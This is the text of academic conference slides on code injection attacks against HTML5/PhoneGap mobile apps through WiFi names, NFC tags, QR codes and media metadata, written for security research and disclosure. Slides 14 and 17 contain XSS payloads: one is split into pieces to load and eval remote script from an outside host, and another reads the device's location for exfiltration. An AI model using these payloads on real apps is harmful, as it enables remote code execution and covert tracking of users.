1. Code Injection Attacks on HTML5-based Mobile Apps
Xing Jin, Tongbo Luo, Derek G. Tsui, Wenliang Du
Department of Electrical Engineering & Computer Science
Syracuse University

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3. Outline BackGround Code Injection Attacks on HTML5-based mobile apps
Overview of HTML5-based Mobile App
Overview of PhoneGap Architecture
Risks in JavaScript
Code Injection Attacks on HTML5-based mobile apps
Overview of the Attack
Channels of the Attack
Examples (WIFI, NFC, MP3)
Length limitation
Real Vulnerable Cases
Future Work

4. Overview of HTML5-based Mobile App
PhoneGap
WebView
HTML
CSS
JavaScript
addJavascriptInterface()
Device
Accelerometer
Camera
Compass
Contacts
File
Geolocation
Notification …
Advantage:
Can be easily ported between different platforms X X

5. Overview of PhoneGap Architecture

6. Risks in JavaScript Data and code can be mixed together.
var text="Hello!<script>alert('hello')</script>";
document.write(text);
Once it runs, the data will be displayed, and the JavaScript code will also be executed.

7. Overview of the Attack

8. Overview of the Attack 2 3 1

9. Channels of XDS Attack ID Channels (WiFi, Bluetooth)
Data Channels Unique to Mobile Devices (NFC, Barcode, SMS)
Metadata Channels (MP3, MP4, Image)
For the channels we have identified in this paper, we categorized them into three categories. The first one is the ID channels, we can embed code into some identities, e.g., the WiFi SSID, Bluetooth name. The second one is data channels unique to mobile devices, including NFC, Barcode and SMS. The third one is the metadata channels. Media data, e.g., MP3, MP4, Image, they use metadata to describe the detail information of the files, including artist, album, model. We can also successfully inject code into these metadata
Fields. Next I will pick one example in each category to show how the attack works.

10. Example 1(WiFi)
Non PhoneGap WiFi-Finder
PhoneGap WiFi-Finder

11. Example 2(NFC)
Non PhoneGap NFC App
PhoneGap NFC App

12. Example 3(mp3) Non PhoneGap Mp3 App PhoneGap Mp3 App
Non PhoneGap Mp3 App
PhoneGap Mp3 App

13. Length Limitation of Channels

14. Overcome the limitation
Use External JS files:
<script src=//mu.gl></script> ( will be filter out by innerHTML)
Split JS code into pieces:
<img src onerror=$.getScript(' (need to use jQuery)
1 <img src onerror=a="$.getScr">
2 <img src onerror=b="ipt('ht">
3 <img src onerror=c="tp://mu.">
4 <img src onerror=d="gl')">
5 <img src onerror=eval(a+b+c+d)>

15. Real vulnerable cases Downloaded 764 PhoneGap apps from Google Play
Find several vulnerable apps satisfy two attack conditions:
read external data from the channels that we have identified
use vulnerable APIs or attributes to display information from the channels

16. Real Vulnerable Cases Information sent to Sever Non PhoneGap App

17. Real vulnerable Cases
The code injected in the QR code <img src=x onerror= navigator.geolocation.watchPosition( function(loc){ m='Latitude:'+loc.coords.latitude+ '\n'+'Longitude:'+loc.coords.longitude; alert(m); b=document.createElement('img'); b.src=' })>

18. Future Work Large Scale analysis of HTML5-based mobile apps
Solution to address the attack

19. Thanks!
Q & A